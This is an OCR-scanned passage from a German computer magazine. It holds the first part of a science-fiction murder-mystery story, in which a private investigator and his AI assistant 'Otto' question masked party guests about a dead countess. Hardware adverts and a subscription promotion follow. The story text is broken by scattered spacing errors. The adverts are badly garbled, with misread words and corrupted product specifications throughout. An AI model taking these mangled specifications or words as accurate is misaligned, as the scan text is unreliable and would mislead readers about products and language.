mer. Ich könnte es natür l ich abscha lten, aber 
d ie  Su its sind transpa rent und ich denke, 
dass keiner unserer Gäste unter dem Anzug 
Unterwäsche trägt." 

"Was?/1 
.,S ie sind nackt unter den Body-Su its, Bü r­

ger Mayer", ergänzte Otto, dessen Stimme 
i n  me inem Kopf e inen le icht spötti schen 
Unterton hatte. "Bürger Debenham sagt d ie 
Wahrheit .  I m  Sch lafzimmer fi nden s ich d ie 
Mastersteuerung und d ie Kleidung der  An­
wesenden.  S ie nutzten offenbar den begeh­
baren K le iderschra nk  dort, um s ich u mzu­
ziehen." 

.,Okay." Ich sta rrte den Piker-Paca an  . ., Ich 
verstehe. Können Sie n icht wenigstens die 
Kopf-Kapuze abziehen?" 

.,N icht ohne den Body-Su it  zu zerstören, 
Bürger H ubert", antwortete Debenham.  
"Denn es hande lt  s ich wie gesagt um e ine 
Sing le-Pa rty-Modus-BS-Contro l l i ng-Unit und 
sie i s t  nu r  gemietet. Die Kosten s ind enorm 
und meine Versicherung bezah l t  keine be­
schädigten Su its. Verstehen Sie?" 

.,Okay. Ich wi l l  aber  n icht, dass d ie  Ver­
dächtigen den Raum verlassen." 

., I ch bezah le  Sie, verfickte Scheiße, Hu ­
bert", zischte er m ich  aggressiv an .  "Sie wur­
den mi r  a l s  e in Aufräumer empfoh len .  Schaf­
fen Sie d ie Leiche hier raus und dann sehen 
wir weiter!" 

.,Oh. ln diesem Fa l l  sol lte ich vie l leicht ein 
kleines Missverständnis aufklä ren." 

.,Wie meinen?" 

., E in  M issverstä ndn is", wiederho lte ich,  
etwas l angsamer und deut l ich betonter. So, 
a l s  wenn ich mit e inem Schwerhör igen 
reden würde . .,Vie lmehr e ine Verwechs lung, 
Bü rger  Debenham.  I h re Frau l ieß mich 

herein, i n  der i rr igen Annahme, ich wäre e in 
anderer." 

"Was sol l  das heißen?" 
.,Es bedeutet, dass ich nicht Bürger Hubert 

b in .  Demnach bezah len Sie mich nicht i h ren 
Anweisungen wü rde ich nur  dann Folge leis­
ten, sol lte ich sie als s innvol l  erachten. Haben 
wir uns verstanden?" 

Das Gesicht des Piker-Pacas verzerrte s ich 
zu e iner Wut-Visage vom Fei nsten .  Ich be­
gaffte begeistert d ie Leistung des Body-Su its. 
Das Display des Anzugs im it ierte dera rt ig 
perfekt d ie  darzuste l lende Person, dass ich 
das zornige B l itzen der Augen bewundern 
du rfte. Der Mund öffnete und sch loss s ich 
wieder, doch währenddessen erkannte ich 
im I nneren der Mundhöhle eine Tätowierung 
im hinteren Bereich der Zunge: .,Way to he l l ". 

Ich gr inste. 
Debenham kreischte: .,Verlassen Sie meine 

Wohnung ! "  
.,Tut mir  le id .  Aber mein E-Fam transferiert 

Ihnen soeben meine Lizenz. Ich bin Privat­
ermittler - im Auftrage eines Mandanten, des­
sen Identität ich sel bstverständ l ich geheim 
halte - und somit befugt, den Tatort bis zum 
Eintreffen der CAPCOP-Einheit zu versiege ln .  
Was h iermit geschehen ist." Ich legte eine 
Kunstpause e in .  Sch l ieß l ich fügte ich hinzu: 
.,Setzen Sie sich, Bürger Debenham. Wenn ich 
Fragen habe, dann komme ich auf Sie zurück." 

Die Außenansichten eines C lowns auf 
dem Display e ines Body-Su its l ive er leben zu 
dü rfen befried igte mich auf ungeahnte 
Weise. Ich er lebte i n  rascher Folge: Wut. Fas­
sungs los igkeit, Mord lüsternheit unterd rück­
ter Hass und letztend l ich Resignation .  A l l  
d ies mit dem Gesicht P iker-Pacas. Ob d ie 
Pa rtygäste woh l  wussten, was das Display so 
anstel l te? 

"Otto", erkund igte ich mich subvokaL .,Li­
zenz übermitte lt? Und die Wohnung versie­
gelt?" 

"Stets zu Diensten, Bü rger Mayer. Dabei 
möchte ich noch erwähnen, dass eine Reini­
gungskraft vor der Tür stand und die Luft mit 
jeder Menge Ärger fü l l te. A ls  ich Bürger 
Hubert, im Übrigen ein Ta rnname, die derzei­
tige Situat ion sch i lderte, ra nnte er  recht 
schnel l  davon." 

.,Der Cleaner ist weg? Gut gemacht." 
"Danke." Otto verstummte ku rz und m i r  

wa r, a l s  wenn er  t ief du rchatmen wü rde, 
bevor er weitersprach:  .,Wie gehen wir nun  
vor?" 

"Nun .  Ich vermute, dass es Aufzeichnun­
gen der Pa rty geben wird. Auf d ieser Etage 
des Sektors d rei baute man doch zah l lose 
Observationskameras ein, nicht wahr?" 

"Das ist korrekt, Bürger Mayer", bestätigte 
Otto. "AI Ie ine im Wohnzimmer registriere ich 
d reizehn zur Wohnung gehörige Mini-Cams. 
Dazu scheinen d rei Gäste flache Pflaster-Ka­
meras außen am Body-Suit zu tragen. Auch 
d iese Quel len kann  ich anzapfen." 

.,Sehr gut. Ich beg inne ma l  mit  der Kon­
taktaufnahme. Damit es nicht so auffä l l i g  ist, 
werde ich nicht mit Bürger in Beddoes 
sta rten .  Außerdem wäre es nett, wenn du 
herausfinden könntest, wer d ie Leiche ist." 
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"Da der H igh-Con-Ansch luss mit dem Tod 
abgescha ltet wu rde, bräuchte ich nu r  e ine 
Liste mit den Gästen." 

Ich wandte mich an  Bürger in Debenham, 
d ie quas i  ersta rrt neben mi r  wa rtete. Sie be­
achtete mich gar n icht, sondern g lotzte mit 
e inem unfassba r däm l ichen P iker-Paca-Ge­
sichtsausdruck i h ren Mann an, der in  einem 
Sessel zusammengesunken saß. 

"Bürger in Debenham?" 
"Ja?", hauchte sie. 
" Ich bin Bürger Mayer, Privatermittler, wie 

ich I h rem Mann bereits gesagt habe." 
"Capita i-Crime ist i nformiert?" 
"Aber ja. Es hande lt  sich sch l ieß l ich um 

Mord, e ines der  wenigen Verbrechen, das 
von den semi-offizie l len Behörden übernom­
men wird. Es ist a l so nicht damit getan, die 
Leiche einfach verschwinden zu lassen. Ich 
suche einen Mörder .  Je mehr Sie mich unter­
stützen, umso schne l le r  ist d ie  Ange legen­
heit er ledigt .  Verstehen Sie?" 

Sie nickte. 
"Können Sie meinem E-Fam eine Liste mit 

den Pa rty-Gästen übermitte ln?" 
"Was? Wem?" Sie stutzte. "Oh. Aber natü r­

l ich." 
"Und i nformieren Sie bitte d ie Gäste über 

d ie  la ufende Ermittl ung .  Niemand verlässt 
den Raum." 

,,Ja.�� 

Verschlussein 
für a l le  
- - -... _ 

_ _ ..._ _ _  0... 
.... ...., _ _  _ 
......_ _ _  _ ........................... 

"Die Liste ist da", verkündete Otto ku rz 
darauf. "Die Tote ist Bürgerin Andrenyi." 

"Was wissen wir über sie?" 
"Sie ist verhei ratet und . . .  " 
"Ja, Otto?" 
"Gräfin  du rch Hei rat. Der Graf ist ebenfa l l s  

auf der Pa rty." 
"Und er vermisst seine Frau  nicht? I rgend­

einen H inweis?" 
"Mehrere Anfragen per H igh-Con an  den 

Server der Gräfin .  Diese sind a l l erd ings ver­
sch lüsselt. Lesen kann ich s ie n icht." 

"Okay. Lassen wir das. Kümmere dich bitte 
um die Aufzeichnungen. Wer s ind d ie ande­
ren Gäste?" 

"Neben unserer Auftraggeberin: Bürgerin 
Ohlsson nebst Gatten, Bürgerin Michel, in  Be­
gle itung zweier Männer, die ich nicht identi­
fizieren kann, Bürgerin Bianchi, nebst Gatten, 
Sohn und Tochter. Bürger Arbuthnot. Ohne 
Beg leitung." 

"Wer ist Arbuthnot?" 
"Ein Geschäftsmann aus Sektor sechs, 

wenig I nformationen." 
"Okay, dann beg inne ich mit i hm, bevor 

ich mit Beddoes spreche. Welcher von den 
Piker-Pacas ist es?" 

Otto nannte mir seine Position .  
Ich winkte ihn  herbei . 
"Banza i, Bürger Arbuthnot." 
"Banza i .  Bürger . . .  ?" 

"Mayer. Privatermittler." 
"Was wol len Sie von mi r?" 
"Zunächst möchte ich, dass Sie mi r  sagen, 

warum Sie h ier s ind?" 
"Auf E in ladung von Bürger in Debenham." 
"Gibt es i rgendwelche verwandtschaft l i ­

chen, geschäft l ichen oder privaten Bezie­
hungen zu den übrigen Gästen?" 

" Ich kümmere mich um d ie  fi nanzie l l en  
Anlagen von mehreren." 

"Auch d ie der Gräfin?" 
"Gräfi n  und  Graf And renyi zäh le  ich zu 

meinen solventesten Kunden.  Was hat d ies 
mit dem Toten zu tun?" 

Ohne auf seine Frage einzugehen, deutete 
ich auf die Leiche am Boden. "Wissen Sie, wer 
das ist?" 

Er schüttelte den Kopf. "Unter d iesen Mas­
ken sehen a l l e  g leich aus. E in ige benutzten 
sogar einen Vocoder, um die Stimme an die 
P iker-Pacas anzupassen .  Vo l l kommen per­
vers, wenn Sie meine Sicht der Dinge wissen 
wol len, aber was tut man nicht a l l es." 

"Otto?", subvoka l is ierte ich. 
"Der Body-Su it  h i ndert mich daran, d ie  

Körpersprache des Bürgers zu interpretieren, 
doch seinem Tonfa l l  entnehme ich Schwin­
gungen. Arbuthnot scheint etwas zu verber­
gen." 

Ich betrachtete das Gesicht des C lowns. 
"Haben Sie Streit mit den And renyis?" 

@ heise shop 



"Nein", entgegnete der Bü rger. 
"Wahrheit", ergänzte Otto. 
"Unterhielten Sie sich vor dem Mord mit 

der Gräfi n  oder dem Grafen?" 
"Woher so l l  ich das wissen? Diese ver­

dammten Body-Suits! Ich wi l l  da raus." 
Das Gesicht des Piker-Pacas verzog sich zu 

etwas, was ich beinahe weiner l ich genannt 
hätte. 

"Otto?", subvoka l isierte ich. "Bei der Erwäh­
nung der Gräfin  hat er leicht gezuckt, oder?" 

"Das bestätigt meine Beobachtungen, 
Bürger Mayer." 

Ich legte Arbuthnot die Hand auf d ie 
Schu lter und zog i hn  i n  e ine Ecke des Rau­
mes, so weit weg wie mögl ich von den übri­
gen Gästen. 

., Im  Vertrauen Bürger", fl üsterte ich. "Wie 
ist I h re Beziehung zur Gräfi n  Andrenyi?" 

"Was wol len S ie von m i r? Was hat dies 
a l les mit der Leiche zu tun?", sagte er, nun  
leicht wütend kl ingend. 

"Die Tote ist d ie Gräfin ." 
IIWas?IJ 
"Gräfi n  And renyi wurde ermordet", wie­

derholte ich i n  deut l icheren Worten .  
"Nata l ie? Nein", wisperte Arbuthnot. Dann 

sackte er wie ein einstü rzendes Ka rtenhaus 
i n  s ich zusammen. Ich hatte n icht mal  Zeit, 
i hn  aufzufangen.  

"Otto?", fragte ich subvoka l, während ich 
versuchte, am Ha ls  den Pu l s  zu fühlen, aber 
i rgendwie ge lang es mi r  nicht. 

"Er ist bewusstlos, Bürger Mayer." 
"Okay. Da haben wir mal einen Vo l l treffer 

gelandet. Die beiden scheinen sich näher ge­
kannt zu haben.  Kannst du mal ein wenig 
g raben?" 

., Ich bemühe mich." 
Ich gr inste. Dann  wandte ich mich an  Bür­

gerin Beddoes, d ie immer noch mit gesenk­
tem Kopf auf dem Sofa saß. 

"Bürger in Beddoes? Kommen Sie, bitte?" 
Sie fo lgte meiner Aufforderung und ge­

sellte sich zu mir, während ich den ohnmäch­
t igen Arbuthnot i n  eine stab i le  Seiten lage 
legte. 

Als s ie bei mir stand, b l ickte s ie auf den 
Bewusstlosen herab. "Wer i s t  das?", fragte s ie  
mit der Origina lst imme des P iker-Pacas, a l so 
war sie e ine der Vocoder-Trägerinnen.  

"Banza i, Bü rger in Beddoes", fl üsterte ich.  
"Könnten Sie bitte den Stimmverzerrer aus­
schalten?" 

Sie t ippte sich an  den Hals und entgegne­
te mit sehr hoher, beinahe piepsiger Stimme: 
"So besser, Bürger Mayer?" 

"Danke." Ich nickte ihr zu. "Sie hatten mei­
nen E-Fam kontaktiert und um meine Diens­
te gebeten .  Wa r das vor oder nach dem 
Mord? Und worum ging es genau?  Otto 
sprach davon, dass Sie H i lfe fü r e ine Ver­
wandte suchten?" 

"Ja, Bü rger Mayer. Es geht um meine 
Schwester." 

"Wesha lb  riefen Sie mich dann zu dieser 
Pa rty?" 

"Sie ist Gast d ieser Gesel lschaft. Und  wir 
g l auben, dass s ie i n  Gefahr  ist." 

"Um wen handelt es sich?" 
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"Meine Schwester g ing einen Lebenszeit-
Kontrakt mit Graf Andrenyi ein." 

"Oh.11 
"Was, Bü rger?" 
"Wo denken Sie, hält sich I h re Schwester 

gerade auf?" 
., I ch weiß es n icht. Wegen d ieser ver­

dammten Body-Suits könnte sie jeder sein .  
Ich habe se i t  meiner  Ankunft keinen Kontakt 
mehr über ih ren High-Con-Ansch luss mit ih r. 
Sie trug ebenfa l l s  einen Vocoder. Sie fand die 
Idee einer anonymen Pa rty lustig, obwohl  ich 
sie gewarnt hatte." 

"Gewarnt? Wovor?" 
., Ich denke, dass ihr Liebhaber sich einen 

Spaß daraus machen wol lte, sie zu kompro­
mittieren." 

"Arbuthnot?", riet ich. 
"Gott bewahre!  Dieser sch le imige Anlage­

berater? Nein .  Nata l ie  hat einen besseren Ge­
schmack." 

"Sie ist tot, Bürger in Beddoes." 
Der Moment des Schweigens, der Er­

kenntnis und des Schocks verbreitete sich in  
dem Clownsgesicht wie eine Tsunami-Wel le. 

"Mein Bei le id." 
"Es wa r Debenham", wisperte Beddoes 

mit gesenktem Kopf. 
"Bürger Debenham?", hakte ich nach. 
"Ja .  Er l ud  Nata l ie  und den Grafen ein .  Wi r 

vermuteten, dass er etwas mit den anony­
men Droh-Ma i l s  zu tun hatte. Wi r wol lten, 
dass S ie ihn hier zur  Rede ste l l en würden, 
Bürger Mayer." Sie hob den Bl ick und das Dis­
play zeigte Tränen, die die Schminke des 
P iker-Pacas auf den Wangen verlaufen l ieß.  
"Oh Gott .  Nata l ie", fl üsterte d ie Bü rger in .  
Dann  sch l ug  s ie e in Kreuzzeichen vor der 
Brust . ., I st s ie es wirk l ich?", fragte s ie, wäh­
rend sie sich zu der Leiche umdrehte. 

"Ja .  Ich bedauere." 
"Sie müssen Debenham überfüh ren." 

P lötzl ich packte sie sich mit beiden Händen 
ins Gesicht und riss an  dem Su it-Materia l .  

De r  Effekt hätte nicht erschreckender sein 
können. Es b i ldeten sich Sch l ieren, und die 
Verzerrungen, die die Steuerungseinheit zu 
kompensieren versuchte, l ießen mich schau­
dern. Im Clownsgesicht verl iefen die display­
ten Farben ineinander. Die Augen rasten an 
der Nase vorbei zum Mund, der sich Edward­
Munch-l ike zu einem Schrei verformte. Ohren 
tauchten mittig auf, dann barst die Folie und 
der Stoff darunter. Eine Art schwa rzes Loch 
verschluckte Augen, Ohren, Mund.  Ich g laub­
te sogar, einen Banshee-Ruf zu hören. 

Wie nach einem Tauchgang entstieg der 
Kopf e iner  jungen, ku rzhaa rigen Frau dem 
Bi ldn is  der Zerstörung. Sie atmete mehrfach 
tief du rch. "Endl ich raus." 

"Der Body-Suit", rief eine Stimme, die ich 
dem Bürger Debenham zuordnete. 

"Ha lten Sie den Mund !", herrschte ich zu­
rück. "Al les i n  Ordnung?", wandte ich mich 
an  Bürger in Beddoes, deren kla re b laue 
Augen von Tränen überschwemmt waren. 

"N ichts ist i n  Ordnung .  Nata l ie  ist tot." 
"Es tut mir . . .  " 
"Überfüh ren Sie Debenham. Er so l l  fü r die­

sen Mord büßen." 

Ich n ickte ihr zu.  "Otto?", fragte ich ha lb­
la ut, damit  jeder im  Raum es auch hören 
konnte. Die e is ige F riedhofsruhe i n  dem 
Pa rtyraum schien plötzl ich noch sti l le r  ge­
worden zu sein .  Mi r  kam es so vor, dass bei­
nahe a l l e  Anwesenden die Luft anhielten, um 
nur ja kein  Wort zu verpassen . 

"Stets zu Diensten, Bürger Mayer." 
"Zug riff auf die Aufzeichnungsdateien. 

Kannst du  die Video-Aufnahmen auf d ie Tri­
Vid-Wand legen?" 

"Selbstverständ l ich. Es handelt sich jedoch 
ledig l ich um die Aufzeichnungen einer Zim­
mer-Kamera. Die anderen waren nicht einge­
scha ltet. Daher kein  Drei-D und auch keine 
Tonaufnahmen." 

"Okay." Das war ungewöhn l ich .  Moderns­
te Techn ik, d ie man nicht nutzte? Das hätte 
ich von den Debenhams nicht erwartet. 

"Graf Andrenyi?" 
Ein P iker-Paca zuckte zusammen. 
"Kommen Sie bitte zu mi r", bat ich ihn.  
A ls  der C lown bei m i r  stand, senkte ich 

meine Lautstä rke. "Es tut m i r  le id, es I hnen 
auf diese Art  und Weise mittei len zu müssen, 
aber bei der Toten hande lt  es s ich um I h re 
Kontraktpa rtneri n." 

Aufmerksam beobachtete ich das Gesicht 
des P iker-Pacas .  Die weiß getünchte Stirn 
warf Wel l en, d ie  Nase kräuselte sich und in  
d ie Augen schossen Tränen e in .  

"Na . . .  i s t  tot?" Er brach ab, packte s ich mit 
der rechten Hand theatra l i sch an  den Kopf 
und sch l uchzte. Das Gesichtsbi ld eines vol l ­
kommen erschütterten Clowns sprach Bände. 

"Mein Bei le id." 
"Danke." Er g riff mit der freien L inken an 

meine Schu lter und beugte s ich vor . ., Ich 
muss raus aus dem Ding.  Geben Sie mi r  eine 
Minute." Gebeugt g ing er zu der Bar, um dort 
nach einem handgroßen Täschchen zu grei­
fen und es zu öffnen .  E r  ho l te ein k le ines 
F läschchen mit Pipette heraus .  Mit geschick­
ten Händen löste er woh l  e in ige Nähte des 
Body-Su its und konnte so seinen Kopf befrei­
en, ohne den Suit zu zerstören. Er war nahe­
zu kahl ,  nur e in hauchdünner F l aum grauen 
Haa res zierte Tei le des Schädels . 

B is auf den bewusstlosen Arbuthnot be­
gafften beinahe al le Anwesenden den Gra­
fen .  And renyi träufelte sich Tropfen in  seine 
Augen. Dann  kam er zu mi r  zurück. "Verzei­
hen Sie, aber der Schmerz wurde unerträg­
l ich. Ich musste zuerst das Med ikament neh­
men. Jetzt bin ich bereit." 

"Bereit? Wozu?", fragte ich i r rit iert. 
" Fü r  I h re F ragen, sel bstverständ l ich .  Ich 

gehe davon aus, dass ich ein Hauptverdäch­
tiger b in ." 

Ich schaute in d ie  geröteten Augen des 
Grafen.  Sein kantiges, i n  der Tat a ri stokra­
tisch wi rkendes Gesicht präsentierte e inen 
gefassten, le icht hochnäsigen Ausdruck. 

"Wa rum so l l ten Sie mein Hauptverdächti-
ger sein?" 

., I st das der Kontraktpa rtner nicht immer?" 
"Kontrakte lassen sich lösen." 
"Unserer war auf Lebenszeit." (bb@ct.de) 

Zweiter und letzter Teil folgt im nächsten Heft. c't 
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Passt n i cht, 
g ibts n icht! 

Anschluss-Erweiterungen für das Notebook 
und den PC über nur einen USB 3.0 Anschluss 
Über die Jatue hinweg hoben sich in der digilolen Welt ollicne Anscnlussmöglicnkellen 
etabliert Donk HDMI• DVI, USB, Dosployl'on, Elhemel und Konsol1en Iossen sich Geroie 
vielfaltig mileononder verbinden und betreiben. Und dozu osl nun nichl mol mehr eine roesige 
Kobelsammlung notwendog - die pra�ltschen ICY BOX h!apter sollen nun voelen 
Anwendern dos leben erleochtern 

IB-DK2241AC 
• 2x USB 3.0- inklusive l x USB 3.0 als 

5 V Lodeport fOr Srnorlphanes/Tablels 

• l x Mikroion 3,5 mm Klinke 
• 1 x Kopfhörer 3,5 mm Klinke 
• 1 x HDMI"" bis zu 1 OBOP Fult HD 
• 1 x DV1-I bis zu 1 OBOP Full HD 
• 1 x Gigabit LAN RJ-45 
• 4x USB 2.0 

1 0 in 1 Docking 

Mil S .l Kanal SurTOund 
Sound & HDMI' bis 1 OBOP 

MJ!M"'HNttJ+ 

§ . .• "': � 
--<-\. . • 
n. � -·c::J. 

• 

IB-DK.2651 AC 
• 6x USB 3.0 inld inklusove 2x USB 3.0 

ols 5 V Lodeport lor Smarlphones/Tablets 
• lx DVI-1 bost:u 1 OSOP Full HD 
• 1 x HDMI bis zu 1 OBOP fult HD 
• I x GogobH lAN RJ-45 
• I x 3.5 mm Audoo-Kambo Fronionschluss 
• 1 J< 5 1 Kono1 Surround Sound 

ALSO' ALTERNATE �d digitec.ch 



Sharkoon 8-Bay RAI D-Station 
• laufwerksgehause • rur den Einbau von acht 3,5" · oder 2,5"-SATA-Festplatten 

• Unterstutzte Modi: Clean/Single, Large und RAID 00, 30, SO 
• Anschluss extern: USB 3.0, eSATA • lnkl. Kabel 

.JS 

Sharkoon 5-Bay RAID-Station Asus X200MA-BING-KX3738 
• laufwerksgehause • 29,5 cm (11,6") ·lEO m, Glare Type (1.366 x 768) 
• Elnbausch•chte: 5M3.5"/2,5"-SATA Festplanen • Inter Celeron· Prozessor N2830 (2.16 GIW 
• UnterstOate Modi Oean/Slngle,large, Clone. • 2GB DOR3 RAM • 500GB s-ATA (S.400rpm) 

RAJO 0, 1, 3. 5, 10 • Intel" HO Graphlcs • USB 3.0 
• Anschluss extern: USB 3.0,eSATA • Microsoft Wlndows" at ""t Bing 64-brt IOEMI 

,, . 

NANO lA 

Nanoxia Deep Silence 3 
• Midi-Tower • Einbauschichte eMtem Jx 5,25" 
• Einbauschachte Intern: 5x 3.5� 3x 2,5 
• lnkl du!t lufter • Front. 2x US8 3.0, 

I x US8 2.0, 2x Audio 
• fur Malnboard bis ATX-Bauform 

� 

Acer Predator Gl-605 DT.sQvt:G.2n 
• PC-System ·Intel Core•IS-4590 Prozessor 

(3,3GIW 
• NVIOIA Gefor(e GTX 745 • 8 G8 DDRHIAM 
• 120-(;B-SSO· OVO-Brl!llnet •Glgabot·LAN 
• Wlndow\ 8 1  64-8rt (OEMl 
S6108 

TOSHIBA 
LMdlnt lnnovatlo<t » 

Toshiba Satellite Pro RSO-B-1 1 2  
• 39,6 cm (I 5,6") • LEO -Orsplay 0 366 x 768) 
• Intel• Core 15·4210U Prozessor (1,7 GHz) 
• 4GB ODR3-RAM • 750GB S ATA (5.400rpm) 
• lntet HO Graphlcs 4400 • USB 3.0, 81uetooth 4.0 
• Microsoft Wlndows" 7/WindowsS.I Pro64·S.t 

I'U>1 

Cooler Master VSSO seml Modular MSI GeForce GTX 960 Gaming 2G Asus RAMPAGE V EXTREME 
• Netztet! • SSOWatt Oauerle.stung 
• Effizlenz bis zu 92'MI • Kabel Management 
• 10<laufwerksanschlusse 
• 2x PCie-Stromanschlusse 
• ATX 2.03, EPS, ATX12V 2.3 
TN�M41 

• Gralrkkarte • NVIOIA GeForce GTX 960 
• 1 216 MHzChiptakt IBoost 1.279 MHZ) 

• 2 G8 GOORS·RAM (7,0 GIW · 1.024 Shadereln­
helten • OlrectX 12und0penGl4.4 

• 3M OisplayPott. HOMI. OVI · PCie 3.0 x16 

IDXNMOt 

• E·ATX-Matnboard • Sockel 201 1·3 
• Intel' X99 Exprcu • Gtgablt-LAN • WLAN 
• US8 3.0 • HO-Sound • Sx OOR4 RAM 

• Sx SATA 6Gbls. IM M.2. 2x SATAe 
• 4x PCie 3.0 xl6, PCie 2.0x16, PCte 2.0xl 

GMf.t.SO 

@ 
COOLTEK 

Cooltek Antiphon Black 
• Midi-Tower • Ernbauschachte extern; lx 5.25" 
• ElnbaU5Chächte Intern: 4x 3,5", 4x 2.5" 
• lnkl. drei Wfter • Fronr: 2x USB 3.0, 2x Audlo 
• filr Malnboard bis ATX·Bauform 

TOXHC I 

ZOTAC ZBOX Pl321 pico 
• PC·System •Intel" Atom• ZJ73SF PfOZMS()( 

(1,33GIW 
• Intel• HO Graphlcs • 2 G8 OOR3·RAM 
• 64-GS-eMMC • WLAN • LAN 
• Window\ 8.1 32·8•t mrt vonnstalhertem Bing 

./515 
II SEMCN or IIIW:OIIIl 

ASUS X555LA-XX036H 
• 39,6cm(l5,6"l · HOlEOlFT, (1366x768} 
• Intel" Core• IS-4210U (bis zu 2.7 GHZ) 
• 4 G8 OORl·RAM • 500 G8 SATA 15.400 U/MinJ 
• Intel' HO Graphlcs4400 • US8 3.0, 81uel00th 4.0 
• Microsoft Wmdows•s.t64-blt(OEM} 
Pl6AAA 
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Gell DIMM 8 GB DDR3-1600 Kit 
• Arbettsspercher·Kit 
• .G038G81600C110C" 
• CAS.Latenz: 1 1  
• OIMM OOR3·1.600 (PC3·1 2 .800} 
• Klt!2x4 GB 

IOIF87AO 



Samsung 850 EVO Ba sie 250 G B  H yper X Fury 2,5'' SSD 1 20 GB 
• Solld·Sr.te·Drlve • .MZ-75US06JEU" 
• 250 GB Kapazltat 
• 540 MB/s lesen • 520 MB/s Khrelben 
• SamS<Jng MGX • 97 .000188.000 IOPS 
• 5ATA 6Gbls • 2.5"·Bauform 

IMIM41 

I ntel Core"' i7-4790K 
• 5odtef-1 15� · Haswell� 
• 4X 4.000 MHz Kerntakt 
• 1 MB �2·C� & MBS�TW�rtCxtle 
• Intel' HD4600 Gralikkem 

LG BH1 6NS40 
• 1 6 ·fach Blu·ray Brenner mit S·ATA Anschluss 
• BrennVUest a!le B D·, DVD· und CD· Formate 
• unterstutzt BD·XL IQL und Ttl 
• 30 Wiedergabe und Wandeln von 20 auf 30 
• M·Disk Suppon fur 1.000Jahre Datenslcherhett 
• AACS Bus Encryp!ion UnterstLiaung 

Kingston Cloud I I  
• Headsel • Frequen� 1 S  H z  2 5  kH z 
• lmpedant:60 Ohm • hatdwareg�teuerter 

vlnuel!er Surround·Scund 
• 53-mm·Necdyni-Magner·Trelber • KoplbOgel 

aus Aluminium • USB, 3,S-mm·KIIn leO>tecker 

KH-V2I 

• Solid·Sta�Drive • .SHFS37AI 1 20G" 
• 1 20 GB Kapavtät 
• 500 MB/s lesen • 500 MB/s Khrelben 
• SandForce SF·228 1 • 8 4.000 IOPS 
• SATA 6Gbls • 2.5'-Baufo• m 

IMHMlß FO 

WD Red 
• 3,5"·f1!5tplane • .W060ffRX" 
• für NAS·IJWO.Systeme m11 1 · 8  Sdlich""' 
• 6 TB l<apazlt.it • 64 MB Colche • SATA 6Gbls 
• 2417- Da� • lnteHiPo-oter 
• 30 Ac1 1Ve Balance Plus 

Microsoft Windows 8.1  
• Betrlebssyste"..Software 
• Wlndows 8 wurdt! IIOfl GI und auf 11e0 

entwickelt. um den Anw.",der in den 
Mittelpunkt zu stellen 

• IJunz filr 1 /Jenutter . Vcllvetsiof\ 

NINTE N003DS. 

N i ntendo 305 XL Umited Edition 

• N•ntendo·3DS·Spwlkon<ole 
• 510'!6 großeres Dlspla� • 3D ohne spezielle Bulle 
• drei eingebaute Kameras · 12,4-cm-30-Display 

loben/ • 10,6-cm-Touch-Displa� tunten) 
• WlAN, DS-Siot • weiß 

0Niff51 

explore beyond Iimits-

Acer I 57 -Serie 

Acer 5277 H Kw m i d p p  
• LED-Monitof . 68,6 cm 12n Bilddiagonale • 3.840x2160 Pixel . 4 ms Reaktionsreit 

(GtG) • Kontrast 100.000.000:1 {dyn.) • 60 Hz • Helligkeit: 300 cdlm' • Energieklasse: C 
• DisplayPort, Mini- DisplayPort. HOMI 2.0, DVI-D (HDCP}, Audio 

AutoriJittter tl4ndlo< 
Autoris!MII' 5l!'vklt l'rovlcler 

1�2':7'9,r 
Mac m i n i  2,8 GHz 
• AI.TERNATE E01110N 
• Intel' Core� IS Pl=scr l28 GHz) 
• Intel' Iris Graphks • 1 6 GBDDR3·RAM 
• HB-+100 + �IHCie Flash {F<Jsion Otlve) 
• GlgabiHAN • Wt AN • MacOS X Yosemlle 

Sa msung UE50H5373 
• UO-TV-Getit • 127 c m  (50") Blldc:tiagona)e 
• 1 00 Hz (CMR) • 1 .920x1 .080 Pixel (Full HO) 
• Energleklas•e: A+ • Wldl! Colct Enhancer Plus 
• ConnectSnare • Smart Hub 
• OVB·(ITI52·Tuner • 2x HO MI, 2x USB. lAN 
! lAtJ6l' 

00 11vama 

l iya ma Prolite XB3070WQS-B1 
• lED·Manitor • 76.2 cm l30 •) Bflddiagonale 
• 2.S60JCt.600 Pixel • 5 m• Reaktlonsze4t lGtGl 
• Kon trast: 5JXJO.D00:1 (�nJ . Helllgkel� 350 cd/m, 
• �lbar • Energielda..e:C 
• 0\<playPoll. H!)MI, DYH> {HOCP), VGA, Audlo 

Samsung BD-H6500 
• lD·Biu-ra�-Piayer • fo•m�te: DivX HO, MPEG 

1 /214. MP3, WMA, 099 • Smart Hub 
• AIISharelDLNA) • 80 Live 5.0 
• 4/WHD Up<caling • HOMt Digital-Out {optiscN 
• ! AN, WL AN, USB 2D 
lOoU 



Max M u sterm a n n  
Ku nd ennr. :  12345678 • Abon nent se it :  12/98 

Das loh nt s i c h  fü r S ie a l s  c 't-Abon nent:  
E i n  A1ti kel a us der  a ktuel len  c't schon 
vor d e m  Druck 

a uf die Te i l n a h m egebühr  
a usg ewäh lter heise-Events 

E i n ka uf im heise shop 

z.  B .  Gewi n n s p i e l e  
oder weitere Rabatte 

B i s  zu a uf viele Arti ke l 
i m  heise shop 

a uf a l le Jahres-Arch i v-DVDs .,c 't  ro m "  

jetzt c 't a bon n i eren u nd c 't- Netzwerker  werden ! 
www.ct. d e/netzwerkka 1te · leserservice@heise . d e  · Telefo n :  040 3007 3525 



E rh ö h e n  S i e  d a s  Pote n z i a l Ih res 
B u s i n ess  m it e i n e m  lOG b E -fä h ig e n  
N AS - o pt i m i e rt fü r KM U .  

DN R P  

Tu rbo vNAS The G o l d e n  C l o u d  Se r i e  

TVS-x63+ Serie 

: . . . 

.. . . . .. . ...-:.. ......:.. - - � � - _._ -
@ @ @ @ @ @ @ @  

K o s t e n g ü n s t i g e s  l O G b E - fä h i g e Tu r b o v N AS fü r K M U  
1 OGbE-fä h ige Lösu ng 

Un terstützt H igh-Speed 1 0GbE Netzwerk u nd liefert 
hohe Leistu ng mit konstantem Datendurchsatz. 
Perfekt fü r die S peicheru ng großer Datenmengen u n d  
HO Media 

QvPC (Vi rtua l ized PC ) Tech nolog ie 

Ve1 wenden S1e Ihr  NAS als PC mit 
4 K2K-D•splay-Techn ologie u nd gespiegelten 
Duai-HDM I-Ausgänge n .  Mehrere Wi ndows, Llnux.  UNIX 
und Android-basierten VMs lassen sich install ieren.  

Date nsicherhe it 

Sichern S1e I hre Daten mit hardwarebeschleunigter 
AES-256-bit Volume Verschlüsselung .  RA I D  Sicherheit  
und mehreren Backuplösungen. 

H a rdwa rebesch leu n igte U mwa ndlung 

